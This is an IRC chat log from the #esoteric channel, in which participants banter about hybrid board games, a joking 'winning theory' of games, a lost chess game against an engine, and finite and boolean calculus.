:lament!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well it's not quite how Go works < 1268176795 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alise: no, people just fuck around. < 1268176820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268176820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean < 1268176821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :an endgame condition < 1268176821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :apart from like... running out of pieces < 1268176821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or time < 1268176861 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268176870 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :both players pass < 1268176885 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :note that sometimes you're forced to pass due to not having any valid moves < 1268176892 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but in principle a game could go on forever < 1268176904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Checkmate/taking out/both passing = game ends. < 1268176907 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :there's an optional rule, which nobody uses, that disallows repetition < 1268176918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then you can invent a hybrid chess/Go winning condition to be applied at endgame. < 1268176940 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, that makes sense since both passing is an endgame condition for Chess anyway, stalemate :P < 1268176956 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :From what little I know about Common Lisp, I despise it < 1268176966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The problem is that in chess, endgame almost always is because of someone winning. < 1268176969 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :funcall? Really? < 1268176974 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yuh < 1268176975 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In Go that appears to be calculated after the fact. < 1268176980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: So you can name a variable "list". < 1268177007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: You could redefine instead Go's endgame condition to be because of someone winning somehow. < 1268177021 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The Go pieces would be controlling areas of the board ... you couldn't move there because you'd be instantly surrounded by opposing pieces. Maybe that's bad :P < 1268177043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe that's AWESOME. < 1268177050 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Maybe! < 1268177056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So how does a Chess piece take a Go piece? Maybe jumping over it. < 1268177065 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I wasn't considering that possibility ... < 1268177073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Say you have a Go piece to the top-left of a pawn. If the pawn moves one space top-left, the Go piece is taken < 1268177074 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc. < 1268177097 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, Bishops have free take-out powers :P < 1268177121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For knights... No fucking clue. < 1268177123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: They do anyway :P < 1268177125 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't think you would use typical Go notions of control < 1268177138 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Probably not quite. < 1268177145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not a hybrid if you significantly modify G1+G2 < 1268177152 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :control really just means an area that if you put a piece in, it will die eventually < 1268177153 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's your own game inspired by G1, G2. < 1268177164 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: Oh nooooooooes < 1268177168 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :G0? < 1268177175 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The only modifications should be to resolve contradictions. < 1268177219 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so if you add the ability to leave the area or take one of the controlling pieces, there's no sense in preventing a piece from entering a controlled area < 1268177255 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: You made Chesskers. < 1268177262 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I did :P < 1268177267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You're making Gochess. < 1268177273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, Gochesskers. < 1268177275 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I am :P < 1268177279 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You should add Othello to that mix. < 1268177291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gothellochesskers. < 1268177296 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I ... wait, whaaaa? < 1268177300 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go, Othello, Chess and Checkers. Living in perfect disharmony. < 1268177300 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would never have discovered FICS if XP had "Internet Chess"
< 1268177320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Wait, what? :D < 1268177329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haha, imagine Chess pieces flipping colour because you connect a line. < 1268177361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then subsequently taking Go pieces, which then surround a Checker piece, eliminating it. < 1268177380 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Combine ALL board games into one! < 1268177384 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Throw some Risk in there! < 1268177389 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I think we need some 18xx! < 1268177392 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And where's Clue?! < 1268177392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No :P < 1268177402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But Go, Othello, Chess and Checkers are all fundamentally similar. < 1268177427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Abstract pieces on a uniform board, with uniform rules throughout, involving pieces "getting rid" of other pieces, with complex strategy underlying simple rules. < 1268177443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And any two are quite easily hybridised. So.. < 1268177486 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wishes FICS had a way of defining your own game that used a chessboard and chess pieces
< 1268177500 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :With some simple not-necessarily-TC scripting language < 1268177509 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: fork the source < 1268177524 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: it's closed < 1268177527 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the latest version of the server at least < 1268177529 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it is? < 1268177543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well wikipedia says an old version was open and is mum about the current, so.. < 1268177548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*so... < 1268177557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(directly next to each other) < 1268177559 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Easy enough to ask < 1268177582 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"MAd(1): no" < 1268177732 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And now ... < 1268177734 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :FINLANDIA! < 1268177785 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, LaTeX's default title font is disturbingly similar to the "font" used for the title of the original publication of Finlandia. < 1268177801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :COMPUTER MODERN: Disturbing < 1268177840 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not so modern after all < 1268177859 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :somewhere, on a forgotten sumerian clay tablet... < 1268177898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the first ug was typeset by knuth < 1268177922 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :definition: a game A totally wins the game B if there's a winning strategy in the mixed game A|B that uses only moves of A < 1268178009 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm is this related to surreal number ordering? < 1268178058 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Totally wins; terminology first used by Euclid in his Elements. < 1268178061 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Specifically: < 1268178083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Let there be the games A, B. I say that A totally wins B. < 1268178101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :First, let there be a strategy of A. < 1268178124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Let it be that when this strategy is used in AB, it is winning. < 1268178125 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i can confirm this because strategy is a greek word. < 1268178140 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If this is not so, then instead I say B totally wins A." < 1268178155 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's my piss-poor attempt at emulating the style of Elements... < 1268178159 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh but totally winning is a proper partial order! < 1268178177 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so in fact it's not necessarily true that B totally wins A if A does not totally win B < 1268178216 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right but that's a modern development of Winning theory < 1268178227 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Euclidean winning theory doesn't have that < 1268178249 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :definition: if A does not totally win B, and B does not totally win A, then we say A|B is not ridiculous < 1268178267 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268178284 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268178294 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :now the obvious question is, is go|chess a ridiculous idea? < 1268178294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Euclid considered "That all entities must be ordered. Take entities A and B and A is not more than B, and B is not more than A. Then A appears before B, and B appears before A. This is an absurdity. So all entities must be ordered.") < 1268178322 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268178361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: you're abusing notation, A|B is the common parts of the games A and B < 1268178373 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :go|chess would be a board with things that move around and remove other pieces, but past that undefined < 1268178377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you mean AB < 1268178401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(euclid wrote A|B as superscript A, subscript B.) < 1268178418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :winning theory is like game theory but more indie < 1268178454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(In complex expressions the notation A above B is often used to save space, but for more complex expressions the super/subscript format is used.) < 1268178463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Erm, that is, as a component of complex expressions. < 1268178574 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :| is an OR-like character, AB is multiplication which is an AND-like operation < 1268178595 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exactly < 1268178613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :remember that euclid thought of games as primitives < 1268178615 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so A|B is the mix of the games, and AB is the common parts. < 1268178635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as such, (go chess) was go & chess, i.e. both go and chess. < 1268178650 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's what AND and OR mean in the philosophy of fuzziness. < 1268178655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eh fine :P < 1268178668 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :go fish < 1268178808 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the common parts operation probably actually makes sense in some cases, because either you get the empty game or you get some basic moves or something. i guess stuff like winning might be completely removed though < 1268178828 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is there a good definition for board games somewhere? < 1268178870 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :clearly winning theory is our chance to invent it. < 1268178877 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :game theory is to board games sort of what category theory is to algebras, imo < 1268178889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, euclid didn't even consider common parts by itself to be a valid formula. < 1268178897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he always built it up from there to a full game < 1268178903 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268178913 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :maybe, maybe < 1268178973 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in algebra, the common parts of two algebras are usually directly an algebra, but the mix of two algebras needs to be extended to be a full algebra < 1268179071 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :game theory doesn't talk about board games at all. < 1268179093 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and the second rule of game theory: Do not talk about board games < 1268179373 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but isn't the way board game players interact, taking turns to manipulate some state, game theoretical stuff < 1268179452 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i guess not really < 1268179485 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268179504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A|(B C) = (A|B) (A|C), obviously < 1268179515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but does A (B|C) = (A B)|(A C)? < 1268179523 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where A B is common parts and A|B is combination < 1268179576 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :isn't the study of general properties of game trees an important part of game theory? at least the one book i've read talks about it a lot. < 1268179689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: winning theory could be your chance to include all the ridiculous ideas you've ever thought of into mathematics < 1268179703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so what's the symbol for A totally winning B? < 1268179711 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure how that maps to what category theory is to algebra though < 1268179722 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Tw(A,B)? TW(A,B)? TwAB? A op B? < 1268179742 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :as always, A | B = A <==> A > B < 1268179753 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or maybe more like >= < 1268179840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course < 1268179843 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but totally winning is about strategy < 1268179877 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think op is the best route as you know, operators are awesome and you can invent symbols for them < 1268179884 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :doesn't mean we should get too creative when defining the algebra of games < 1268179890 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Whyever not. < 1268179898 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :indeedso iguess not. < 1268179908 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or do i mean yes < 1268179915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Circled > would be nice. < 1268179922 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm not really following any of these conversations < 1268179923 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Might confuse with just >, but isn't that a good thing? < 1268179929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268179934 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah! < 1268180194 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268180356 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268181042 0 :alise!~95fedb5c@gateway/web/freenode/x-edyqgzccoahjvfsh JOIN :#esoteric < 1268181055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what did i miss since what i last said? < 1268181125 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :beats me! < 1268181255 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :alise: < oklopol> yeah! < 1268181267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that is it? :P < 1268181325 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well also "02:17… Oranjer has joined #esoteric" < 1268181326 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's sort of relevant to what Oranjer said < 1268181376 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is it with chess ais, you give them a huge amount of time because you don't wanna feel pressure and they just sit about doing nothing < 1268181387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're a computer. you don't panic. stop wasting my time < 1268181470 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :chess is too hard anyway < 1268181503 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268181517 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: i don't care, it's entertaining < 1268181527 0 :Ilari!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268181538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh I think i may just have set up the ai wrongly < 1268181541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it just sat there and ran out of time < 1268181546 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: AIs do use up time < 1268181562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: yes but this one played fine with little time. also, as i said, it ended up not moving at all. < 1268181598 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :how does it end up not moving < 1268181619 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: yeah i never learned how knights move < 1268181631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries a different type of clock
< 1268181633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: by not moving in the allocated time < 1268181642 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I think they do the Kansas City Shuffle, oklopol < 1268181682 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :two steps this way and then one step this way oh and by the way YOU CAN FLY OVER OTHER PIECES, that's just insane < 1268181719 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's just a game after all < 1268181726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :flying horses < 1268181745 0 :cal153!unknown@unknown.invalid QUIT : < 1268181767 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Chess: the only playable Allegory of Islam < 1268181811 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: your responses are really boring today, are you drunk on life? < 1268181834 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm sober < 1268181840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: you are way too postmodern < 1268181851 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :how so? < 1268181858 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: < 1268181862 0 :Ilari!~user@2002:5871:273b::1 JOIN :#esoteric < 1268181865 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Muhammed flys somewhere on a flying ass < 1268181893 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Muhammad, sorry < 1268181926 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: empty string < 1268182164 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268182640 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268182810 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268183511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In which I play Chess extremely shittily: < 1268183512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1. b4 c6 {+0.17/8} 2. Nc3 Nf6 {+0.31/9} 3. Na4 d6 {+0.21/9} 4. c4 g6 {+0.06/8} 5. d4 Be6 {+0.14/8} 6. c5 Na6 {+0.06/9} 7. d5 Nxd5 {+0.79/8} 8. b5 cxb5 {+1.70/10} 9. e4 Qa5+ {+1.61/10} 10. Bd2 Qxa4 {+1.71/11} 11. Qxa4 bxa4 {+1.98/10} 12. exd5 Bxd5 {+2.00/10} 13. a3 Nxc5 {+3.09/9} 14. Ba5 Nb3 {+3.00/9} 15. Rb1 Bg7 {+3.82/10} 16. Bc7 Rc8 {+5.19/10} 17. Ba5 Nxa5 {+5.87/10} 18. g4 Bxh1 {+10.37/10} 19. Nf3 Bxf3 {+13.43/11} 20. Be2 Bxe2 < 1268183526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :23. Rb4 Rxa3 {+14.69/9} 24. Rb5 Rh3 {+14.96/8} 25. g5 a3 {+17.63/9} 26. f4 a2 {+22.11/9} 27. Rc5 bxc5 {+26.91/9} 28. f5 gxf5 {+27.85/9} 29. Ke1 Rxh2 {+79.98/28} 30. Kd1 a1=Q# {+79.99/28} < 1268183531 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly a few mistakes were due to the mouse slipping. < 1268183547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That probably made the already ridiculous difference in skill vs the computer vastly worse < 1268183558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But hey, it was entertaining. I am awfully bad though. < 1268183628 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :how does one read this notation < 1268183628 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :can the computer give an estimate of how much you sucked? < 1268183776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: ignore the bits in {}s < 1268183783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and then just google chess move notation < 1268183787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm white < 1268183789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1268183790 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268183798 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: probably, but i don't feel like hating myself that badly < 1268183854 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1268183871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax < 1268183880 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1268183883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1268183898 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I love finite calculus < 1268183907 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok zeilberger < 1268183914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ceil(burger) < 1268183918 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :failculus < 1268183927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it isn't really very calculusy tbh :p < 1268183944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it blows my mind that the are so many stiking similarities with the real calculus < 1268184005 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it blows my mind that this blows your mind < 1268184023 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :given that calculus is obviously the limit of finite calculus < 1268184031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well 1 is basically the infinitesimal of the integers :P < 1268184047 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :finite calculus isn't calculus on integers < 1268184056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i know < 1268184069 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i know you know, i just like saying it < 1268184071 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's catchy < 1268184078 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268184082 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's not calculus on integers? < 1268184088 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :are you reading the same paper as me? :P < 1268184109 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well it's calculus from integers < 1268184122 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but the functions still go to R < 1268184131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: why not on booleans < 1268184132 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mine are Z -> Z < 1268184137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :boolean calculus, do it now < 1268184144 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I am actually reading George Booles paper on this right now < 1268184148 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :er book < 1268184159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haha man I'm laughing too much at the idea of boolean calculus < 1268184173 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION frowns
< 1268184180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: no you /must/ do it on Bool -> Bool where true : Bool, false : Bool and nothing else < 1268184183 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well the reason the paper doesn't talk about Z -> R, i think, is that integers always sum to integers, so you can restrict it that way, unlike normal calculus < 1268184191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess I'm basically asking for calculus from naturals mod 2 < 1268184193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so DO IT < 1268184196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>:3 < 1268184214 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268184241 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well it could be Q -> Q also < 1268184243 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but that's not as elegant < 1268184252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why are you talking < 1268184257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :boolean calculus < 1268184257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now < 1268184268 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, it's your idea, you do it! < 1268184281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i don't have a cock compiler < 1268184290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just s/Z/Bool/ in your code, job done < 1268184296 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :um :P that wont do it < 1268184302 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i think it's very elegant from Z to R < 1268184306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey I just realized Bool is a field < 1268184324 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what's Bool? < 1268184327 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, why is Z -> R better than Z -> Z? < 1268184365 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :gf < 1268184368 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :true/true = true < 1268184371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :true/false = undefined < 1268184377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's one fucking awesome field xD < 1268184379 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"= undefined" *barf* < 1268184386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as in "is undefined" < 1268184387 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because if we consider Z a measure space with cardinality as the measure, then sums are just integrals < 1268184389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :false/true = false < 1268184392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :false/false is undefined < 1268184400 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :*unbarf* < 1268184401 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and with integration we usually have functions from our measure space to R. < 1268184402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so basically X/true = X anything else is undefined < 1268184424 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, wait what < 1268184427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the multiplicative inverse is < 1268184430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :true^-1 = true < 1268184432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's it < 1268184436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :worst field ever < 1268184451 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, ooh I wonder if there's a Z[i] calculus with all the nice harmonic, holomorphic stuff < 1268184451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then again multiplication is boring on booleans anyway < 1268184453 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whoa < 1268184458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :multiplication is division on booleans < 1268184463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wait no < 1268184469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :except for half of it (/false) >_< < 1268184473 0 :fax!unknown@unknown.invalid 